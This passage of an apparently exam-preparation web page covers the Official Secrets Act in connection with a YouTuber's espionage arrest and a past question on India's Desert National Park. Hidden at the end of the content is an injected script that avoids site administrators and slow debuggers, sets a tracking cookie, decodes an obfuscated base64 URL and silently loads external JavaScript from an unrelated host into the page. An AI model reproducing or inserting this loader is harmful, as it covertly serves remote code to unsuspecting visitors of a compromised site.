wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>In News: What is the Official Secrets Act, under which YouTuber Jyoti Malhotra was held?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li>YouTuber Jyoti Malhotra, also known as Jyoti Rani, was arrested for passing sensitive information to Pakistani handlers. She has been charged under Official Secrets Act and Section 152 of BNS<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>About Official Secrets Act, 1923<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-131\">\n<li>The Official Secrets Act of 1923 is a colonial-era legislation enacted in India to counter espionage and safeguard sensitive information related to national security.<\/li>\n\n\n\n<li>The Act criminalises spying, unauthorised sharing of confidential government information, and the withholding of sensitive data that could potentially threaten the safety or interests of the state.<\/li>\n\n\n\n<li>It applie<strong>s to all Indian citizens, including government servants, both within and outside the country. Hence statement 1 is correct<\/strong><\/li>\n\n\n\n<li>The law covers a broad range of offences, such as wrongful communication of official secrets, codes, passwords, sketches, plans, and other classified materials.<\/li>\n\n\n\n<li>Its main objective is to prevent the leakage of information that could be exploited by foreign powers or hostile entities, thereby protecting India\u2019s sovereignty and security.<\/li>\n\n\n\n<li>The R<strong>TI Act does not override the Official Secrets Act in all cases.<\/strong> Section 8 of the RTI Act bars the disclosure of information that would prejudicially affect the sovereignty, security, or integrity of India, often referring back to the OSA. However, in certain public interest cases, information may still be disclosed. <strong>Hence statement 2 is incorrect<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Punishment under Sec 3 of Official Secrets Act<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-133\">\n<li>If the offence relates to defence establishments, arsenals, or military affairs, imprisonment can extend up to fourteen years. In other cases, imprisonment may extend up to three years.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Source<\/strong>:<\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><a href=\"https:\/\/www.business-standard.com\/external-affairs-defence-security\/news\/jyoti-rani-arrested-official-secrets-act-youtuber-spying-pakistan-125051900449_1.html\" target=\"_blank\" rel=\"noopener\">https:\/\/www.business-standard.com\/external-affairs-defence-security\/news\/jyoti-rani-arrested-official-secrets-act-youtuber-spying-pakistan-125051900449_1.html<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>10.With reference to India\u2019s Desert National Park, which of the following statements are correct?(2021)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">1. It is spread over two districts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">2. There is no human habitation inside the Park.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">3. It is one of the natural habitats of the Great Indian Bustard.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-147\">\n<li>The Desert National Park (DNP), an area of 3162 km\u00b2, spreads over districts of Jaisalmer and Barmer in Rajasthan.<\/li>\n\n\n\n<li>The area falls in the extreme hot and arid region of very low rainfall zone (&lt;100 mm) of the country.<\/li>\n\n\n\n<li>DNB was demarcated and notified in 1980. Hence, statement 1 is correct.<\/li>\n\n\n\n<li>The Thar desert is the most thickly populated desert in the world with an average density of 83 persons\/ km\u00b2.<\/li>\n\n\n\n<li>However, the human population within the DNP is low (4-5 persons per km\u00b2). There are around 70 villages and also settlements or Dhanis existing within the Park.<\/li>\n\n\n\n<li>The Thar desert harbours a wide array of flora and faunal species. It is the only place where Rajasthan State Bird (Great Indian Bustard) are found naturally. <strong><em>Hence, option(c) is correct.<\/em><\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to New India Literacy Programme, consider the following statements: 1. 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